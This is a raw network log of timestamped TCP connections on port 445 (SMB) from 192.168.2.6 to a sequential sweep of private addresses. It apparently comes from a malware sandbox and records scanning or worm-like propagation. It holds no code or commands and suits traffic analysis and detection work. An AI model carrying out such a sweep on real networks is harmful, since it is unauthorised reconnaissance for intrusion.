Jul 6, 2024 14:11:30.943651915 CEST	51506	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:30.945658922 CEST	51513	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:30.946017981 CEST	51504	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:30.946017981 CEST	51504	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:30.946223021 CEST	445	51508	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:30.946278095 CEST	51508	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:30.946311951 CEST	445	51508	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:30.948713064 CEST	445	51506	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:30.948868990 CEST	445	51506	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:30.949398041 CEST	445	51505	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:30.949502945 CEST	445	51507	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:30.950159073 CEST	445	51501	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:30.950500965 CEST	445	51513	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:30.950550079 CEST	51513	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:30.950639963 CEST	51513	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:30.950916052 CEST	51510	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:30.956759930 CEST	445	51510	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:30.956769943 CEST	445	51513	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:30.956823111 CEST	51513	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:30.956907034 CEST	51510	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:30.956907034 CEST	51510	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:30.961355925 CEST	51515	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:30.961985111 CEST	51501	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:30.961985111 CEST	51511	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:30.962802887 CEST	445	51510	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:30.963207006 CEST	445	51504	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:30.963288069 CEST	445	51510	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:30.966769934 CEST	445	51515	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:30.967741013 CEST	51515	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:30.967741013 CEST	51515	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:30.970273018 CEST	445	51501	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:30.970282078 CEST	445	51511	192.168.0.191	192.168.2.6
Jul 6, 2024 14:11:30.971275091 CEST	51504	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:30.973268986 CEST	445	51515	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:30.973324060 CEST	51515	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:30.975756884 CEST	51505	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:30.975756884 CEST	51505	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:30.975756884 CEST	51507	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:30.975756884 CEST	51507	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:30.976501942 CEST	51516	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:30.980695963 CEST	51517	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:30.982495070 CEST	51501	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:30.986644030 CEST	445	51505	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:30.986651897 CEST	445	51507	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:30.987308979 CEST	445	51517	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:30.987374067 CEST	51517	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:30.989439964 CEST	445	51505	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:30.989449024 CEST	445	51507	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:30.989516020 CEST	445	51516	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:30.989648104 CEST	51516	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:30.992579937 CEST	51520	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:30.995517969 CEST	51511	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:30.995517969 CEST	51511	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:30.998419046 CEST	51517	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:30.998697042 CEST	51516	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:30.998697042 CEST	51519	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:30.999716997 CEST	445	51517	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:31.002747059 CEST	445	51520	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:31.002953053 CEST	51520	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:31.002953053 CEST	51520	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:31.003468037 CEST	51517	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:31.003864050 CEST	445	51511	192.168.0.191	192.168.2.6
Jul 6, 2024 14:11:31.004847050 CEST	445	51516	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:31.005980015 CEST	51516	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:31.006810904 CEST	445	51517	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:31.006841898 CEST	445	51516	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:31.008183956 CEST	51522	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:31.010200024 CEST	51523	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:31.010221958 CEST	445	51519	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:31.011502028 CEST	445	51520	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:31.011560917 CEST	51520	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:31.014111996 CEST	51519	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:31.014111996 CEST	51519	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:31.015242100 CEST	445	51516	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:31.015542984 CEST	445	51522	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:31.015861988 CEST	51522	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:31.015861988 CEST	51522	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:31.016958952 CEST	445	51523	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:31.022877932 CEST	445	51522	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:31.023416042 CEST	445	51519	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:31.024785995 CEST	51526	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:31.029920101 CEST	445	51522	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:31.029928923 CEST	445	51519	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:31.033334970 CEST	51523	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:31.033334970 CEST	51523	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:31.033334970 CEST	51525	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:31.036088943 CEST	445	51526	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:31.038465023 CEST	51529	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:31.039292097 CEST	51526	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:31.039293051 CEST	51526	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:31.039643049 CEST	51531	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:31.039803028 CEST	51528	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:31.047864914 CEST	445	51525	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:31.049077034 CEST	445	51523	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:31.051613092 CEST	445	51529	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:31.051702976 CEST	51529	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:31.051778078 CEST	51529	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:31.052094936 CEST	445	51526	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:31.052103996 CEST	445	51526	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:31.052344084 CEST	445	51531	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:31.052470922 CEST	51525	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:31.052470922 CEST	51525	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:31.052470922 CEST	51523	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:31.052697897 CEST	51531	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:31.052697897 CEST	51531	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:31.056246042 CEST	51533	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:31.058059931 CEST	445	51529	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:31.058249950 CEST	445	51529	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:31.058607101 CEST	445	51528	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:31.058625937 CEST	445	51531	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:31.062320948 CEST	51531	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:31.062551975 CEST	445	51533	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:31.064209938 CEST	51533	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:31.064209938 CEST	51533	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:31.064984083 CEST	51528	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:31.064984083 CEST	51528	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:31.069581985 CEST	51534	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:31.070353985 CEST	445	51533	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:31.070413113 CEST	51533	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:31.070921898 CEST	445	51525	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:31.071125031 CEST	445	51525	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:31.071830034 CEST	445	51533	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:31.075807095 CEST	445	51534	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:31.075885057 CEST	51534	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:31.075944901 CEST	51534	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:31.078521967 CEST	51536	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:31.080241919 CEST	445	51528	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:31.080260992 CEST	445	51528	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:31.081794024 CEST	445	51534	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:31.082250118 CEST	445	51534	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:31.089430094 CEST	51539	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:31.097407103 CEST	445	51536	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:31.103403091 CEST	445	51539	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:31.105524063 CEST	51537	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:31.105524063 CEST	51541	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:31.109188080 CEST	51540	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:31.111398935 CEST	445	51537	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:31.111870050 CEST	51539	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:31.111870050 CEST	51539	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:31.113168955 CEST	51536	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:31.113168955 CEST	51536	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:31.114142895 CEST	445	51540	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:31.114234924 CEST	51540	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:31.114308119 CEST	51540	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:31.116349936 CEST	51542	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:31.119342089 CEST	445	51540	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:31.119544983 CEST	445	51540	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:31.122189999 CEST	445	51542	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:31.123647928 CEST	445	51541	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:31.124869108 CEST	445	51536	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:31.125097036 CEST	51537	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:31.125097036 CEST	51537	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:31.127311945 CEST	51542	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:31.127805948 CEST	445	51536	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:31.128437042 CEST	445	51539	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:31.130945921 CEST	51542	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:31.132266998 CEST	445	51542	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:31.133543015 CEST	51546	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:31.133863926 CEST	51542	445	192.168.2.6	192.168.0.203
Jul 6, 2024 14:11:31.135577917 CEST	51547	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:31.136073112 CEST	51539	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:31.136073112 CEST	51543	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:31.137420893 CEST	51536	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:31.141633987 CEST	51541	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:31.141633987 CEST	51541	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:31.142573118 CEST	445	51542	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:31.144162893 CEST	445	51542	192.168.0.203	192.168.2.6
Jul 6, 2024 14:11:31.144668102 CEST	445	51546	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:31.144679070 CEST	445	51547	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:31.144741058 CEST	51546	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:31.144769907 CEST	51547	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:31.146064997 CEST	51547	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:31.146064997 CEST	51546	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:31.146812916 CEST	445	51543	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:31.146889925 CEST	51543	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:31.147988081 CEST	445	51537	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:31.149032116 CEST	445	51537	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:31.149624109 CEST	51543	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:31.151382923 CEST	445	51546	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:31.151393890 CEST	445	51547	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:31.151452065 CEST	51546	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:31.152317047 CEST	51549	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:31.152812004 CEST	445	51543	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:31.153459072 CEST	445	51547	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:31.153469086 CEST	445	51546	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:31.154472113 CEST	51547	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:31.155668974 CEST	445	51543	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:31.155919075 CEST	445	51541	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:31.155930996 CEST	445	51541	192.168.0.202	192.168.2.6
Jul 6, 2024 14:11:31.159147024 CEST	51543	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:31.163499117 CEST	51552	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:31.163738012 CEST	51551	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:31.164450884 CEST	51554	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:31.165802002 CEST	51553	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:31.171442032 CEST	445	51549	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:31.173010111 CEST	445	51551	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:31.173060894 CEST	51551	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:31.173132896 CEST	51551	445	192.168.2.6	192.168.0.204
Jul 6, 2024 14:11:31.173837900 CEST	445	51554	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:31.174539089 CEST	51554	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:31.176645994 CEST	445	51553	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:31.176681995 CEST	445	51552	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:31.178410053 CEST	51552	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:31.178410053 CEST	51552	445	192.168.2.6	192.168.0.205
Jul 6, 2024 14:11:31.178703070 CEST	51549	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:31.178738117 CEST	51554	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:31.179203987 CEST	445	51551	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:31.179918051 CEST	445	51551	192.168.0.204	192.168.2.6
Jul 6, 2024 14:11:31.180895090 CEST	445	51554	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:31.182892084 CEST	51554	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:31.183866024 CEST	51557	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:31.184528112 CEST	445	51554	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:31.190184116 CEST	445	51557	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:31.190198898 CEST	445	51552	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:31.190361977 CEST	51557	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:31.190362930 CEST	51557	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:31.190372944 CEST	445	51552	192.168.0.205	192.168.2.6
Jul 6, 2024 14:11:31.194649935 CEST	51549	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:31.194677114 CEST	445	51549	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:31.195183992 CEST	51553	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:31.195183992 CEST	51553	445	192.168.2.6	192.168.0.206
Jul 6, 2024 14:11:31.195683002 CEST	445	51557	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:31.196211100 CEST	51549	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:31.196794033 CEST	51560	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:31.196794033 CEST	51557	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:31.197032928 CEST	51559	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:31.199666977 CEST	445	51549	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:31.200330973 CEST	445	51553	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:31.200712919 CEST	445	51553	192.168.0.206	192.168.2.6
Jul 6, 2024 14:11:31.201597929 CEST	51558	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:31.201828003 CEST	445	51560	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:31.201891899 CEST	51560	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:31.201976061 CEST	51560	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:31.202466965 CEST	445	51559	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:31.205851078 CEST	51559	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:31.205851078 CEST	51559	445	192.168.2.6	192.168.0.208
Jul 6, 2024 14:11:31.206724882 CEST	445	51558	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:31.207019091 CEST	445	51560	192.168.1.79	192.168.2.6
Jul 6, 2024 14:11:31.214227915 CEST	51558	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:31.214227915 CEST	51558	445	192.168.2.6	192.168.0.207
Jul 6, 2024 14:11:31.217113972 CEST	51560	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:31.217113972 CEST	51563	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:31.221218109 CEST	445	51559	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:31.221760988 CEST	445	51559	192.168.0.208	192.168.2.6
Jul 6, 2024 14:11:31.226671934 CEST	51564	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:31.226783991 CEST	445	51563	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:31.226844072 CEST	51563	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:31.226912022 CEST	51563	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:31.227864027 CEST	445	51558	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:31.228259087 CEST	445	51558	192.168.0.207	192.168.2.6
Jul 6, 2024 14:11:31.235372066 CEST	445	51564	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:31.235440969 CEST	51564	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:31.235658884 CEST	51564	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:31.236108065 CEST	445	51563	192.168.1.80	192.168.2.6
Jul 6, 2024 14:11:31.236150980 CEST	51563	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:31.240811110 CEST	445	51564	192.168.1.81	192.168.2.6
Jul 6, 2024 14:11:31.242230892 CEST	51568	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:31.243072033 CEST	51566	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:31.243311882 CEST	51567	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:31.245115042 CEST	51564	445	192.168.2.6	192.168.1.81
Jul 6, 2024 14:11:31.246474981 CEST	51569	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:31.247761011 CEST	445	51568	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:31.248117924 CEST	445	51567	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:31.249285936 CEST	51567	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:31.249285936 CEST	51567	445	192.168.2.6	192.168.0.210
Jul 6, 2024 14:11:31.250837088 CEST	445	51566	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:31.250891924 CEST	51566	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:31.250971079 CEST	51566	445	192.168.2.6	192.168.0.209
Jul 6, 2024 14:11:31.251024961 CEST	51568	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:31.251024961 CEST	51568	445	192.168.2.6	192.168.0.211
Jul 6, 2024 14:11:31.251727104 CEST	445	51569	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:31.251776934 CEST	51569	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:31.251863003 CEST	51569	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:31.254131079 CEST	445	51567	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:31.254317045 CEST	445	51567	192.168.0.210	192.168.2.6
Jul 6, 2024 14:11:31.255866051 CEST	445	51566	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:31.256058931 CEST	445	51568	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:31.256352901 CEST	445	51566	192.168.0.209	192.168.2.6
Jul 6, 2024 14:11:31.256658077 CEST	445	51568	192.168.0.211	192.168.2.6
Jul 6, 2024 14:11:31.256863117 CEST	445	51569	192.168.1.82	192.168.2.6
Jul 6, 2024 14:11:31.256907940 CEST	51569	445	192.168.2.6	192.168.1.82
Jul 6, 2024 14:11:31.258718967 CEST	51572	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:31.265682936 CEST	445	51572	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:31.265769958 CEST	51572	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:31.272501945 CEST	51572	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:31.273101091 CEST	51573	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:31.275506973 CEST	445	51526	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:31.275569916 CEST	51526	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:31.276637077 CEST	51574	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:31.282375097 CEST	445	51572	192.168.1.83	192.168.2.6
Jul 6, 2024 14:11:31.282816887 CEST	445	51573	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:31.283032894 CEST	51573	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:31.283164024 CEST	51573	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:31.284621954 CEST	51572	445	192.168.2.6	192.168.1.83
Jul 6, 2024 14:11:31.285398960 CEST	445	51574	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:31.285798073 CEST	51574	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:31.285798073 CEST	51574	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:31.288331032 CEST	51576	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:31.290328026 CEST	51578	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:31.292068005 CEST	445	51573	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:31.292684078 CEST	445	51573	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:31.298371077 CEST	445	51576	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:31.298378944 CEST	445	51578	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:31.298433065 CEST	51576	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:31.298463106 CEST	51578	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:31.298520088 CEST	51576	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:31.298549891 CEST	51578	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:31.299204111 CEST	445	51574	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:31.300098896 CEST	445	51574	192.168.1.84	192.168.2.6
Jul 6, 2024 14:11:31.300138950 CEST	51574	445	192.168.2.6	192.168.1.84
Jul 6, 2024 14:11:31.303981066 CEST	445	51576	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:31.304349899 CEST	445	51576	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:31.304564953 CEST	445	51578	192.168.1.85	192.168.2.6
Jul 6, 2024 14:11:31.306253910 CEST	51579	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:31.311588049 CEST	51578	445	192.168.2.6	192.168.1.85
Jul 6, 2024 14:11:31.317126036 CEST	445	51579	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:31.317184925 CEST	51579	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:31.319200993 CEST	51579	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:31.319459915 CEST	51581	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:31.320708036 CEST	51582	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:31.324848890 CEST	445	51581	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:31.324913979 CEST	51581	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:31.324970007 CEST	51581	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:31.331521988 CEST	445	51579	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:31.331540108 CEST	445	51582	192.168.1.87	192.168.2.6
Jul 6, 2024 14:11:31.331794977 CEST	445	51579	192.168.1.86	192.168.2.6
Jul 6, 2024 14:11:31.331840038 CEST	51579	445	192.168.2.6	192.168.1.86
Jul 6, 2024 14:11:31.331850052 CEST	445	51581	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:31.333255053 CEST	51582	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:31.333256006 CEST	51582	445	192.168.2.6	192.168.1.87
Jul 6, 2024 14:11:31.333792925 CEST	445	51581	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:31.335180998 CEST	51584	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:31.338610888 CEST	445	51582	192.168.1.87	192.168.2.6
